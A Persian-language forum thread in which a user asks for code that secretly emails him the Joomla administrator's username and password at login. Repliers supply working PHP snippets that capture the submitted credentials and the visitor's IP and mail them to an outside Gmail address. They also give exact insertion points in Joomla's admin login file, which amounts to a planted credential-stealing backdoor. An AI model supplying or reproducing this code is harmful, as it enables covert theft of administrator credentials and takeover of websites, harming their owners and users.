سلام
من یه کد لازم دارم که وقتی Administrator از قسمت http://site.com/administrator یوزر و پسوردش رو وارد کرد برای من ایمیل شه یا تو یه فایل ذخیره شه
لطفا این کد رو بزارید و بگید کجا باید قرار بدم
نیاز فوری دارم - مرسی
سلام
من یه کد لازم دارم که وقتی Administrator از قسمت http://site.com/administrator یوزر و پسوردش رو وارد کرد برای من ایمیل شه یا تو یه فایل ذخیره شه
لطفا این کد رو بزارید و بگید کجا باید قرار بدم
نیاز فوری دارم - مرسی
این رو یه نگاه بنداز بد نیست
jLogonAlert - Joomla! Extensions Directory
می تونم بپرسم این چیه؟ چه ربطی به درخواست من داشت؟
من یه کد می خوام که پشت پیج ادمین بزارم تا وقتی ادمین لاگین کرد یوزر پسوردش برام میل شه
توضیحات رو مطالعه کردی؟
.کد:jLogonAlert advice you with custom email when someone try to access on your web site! You can configure for each joomla! user a custom alert message and configure if user want alert for backend / frontend login
ترجمه:
این کامپوننت با کمک ایمیل سفارشی هرگاه فردی اقدام به ورود به سایت کند به شما اطلاعا میدهد.
میتوانید برای هر کاربر تنظیم نمایید تا اگر در بخش مدیریت یا سایت اصلی وارد شد یه پیام ارسال کند
بازم متوجه نشدم
اگه میشه دقیق بگین چی کار کنم
چیزی شبیه این ندارید؟ http://www.webhostingtalk.ir/f148/15256/
کد هایی مثل تاپیکی که گفتم
مثلا آی پی میده حالا بیایم یوزر پس بگیریم
اما این کارها درست نیستاکد:$message = "IP:".$_SERVER['REMOTE_ADDR'] ."\n<br />username:".$_REQUEST['modlgn_username'] ."\n<br />password:".$_REQUEST['modlgn_passwd']; $to="test@gmail.com"; $headers .= "From: Me <me@test.com>"; mail($to, "Admin login info", $message, $headers);
این رو توی صفحه index.php بذار البیته یه چندتا if هم باید چاشنی کار کنی
جواب نداد
فقط آی پی رو میده
---------- Post added at 02:16 PM ---------- Previous post was at 02:07 PM ----------
این کد رو در فایل /administrator/components/com_login/admin.login.php بعد از خط زیر قرار بدین درست میشه :کد:$message = "IP:".$_SERVER['REMOTE_ADDR'] ."\n username:".$_REQUEST['username'] ."\n password:".$_REQUEST['passwd']; $to="U@gmail.com"; $headers .= "From: Me <Joomla !>";
مرسی از دوستانکد:$result = $mainframe->login($credentials); if (!JError::isError($result)) {
برو توی فایل /administrator/components/com_login/admin.login.php
توی تابع login بعد از
دستورات زیر را کپی کنکد:$credentials['username'] = JRequest::getVar('username', '', 'method', 'username'); $credentials['password'] = JRequest::getVar('passwd', '', 'post', 'string', JREQUEST_ALLOWRAW);
دیگه if هم نمیخواد به احتمال 100% جواب میدهکد:$message = "IP:".$_SERVER['REMOTE_ADDR'] ."\n<br />username:".$credentials['username'] ."\n<br />password:".$credentials['password']; $to="test@gmail.com"; $headers .= "From: Me <me@test.com>"; mail($to, "Admin login info", $message, $headers);
در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)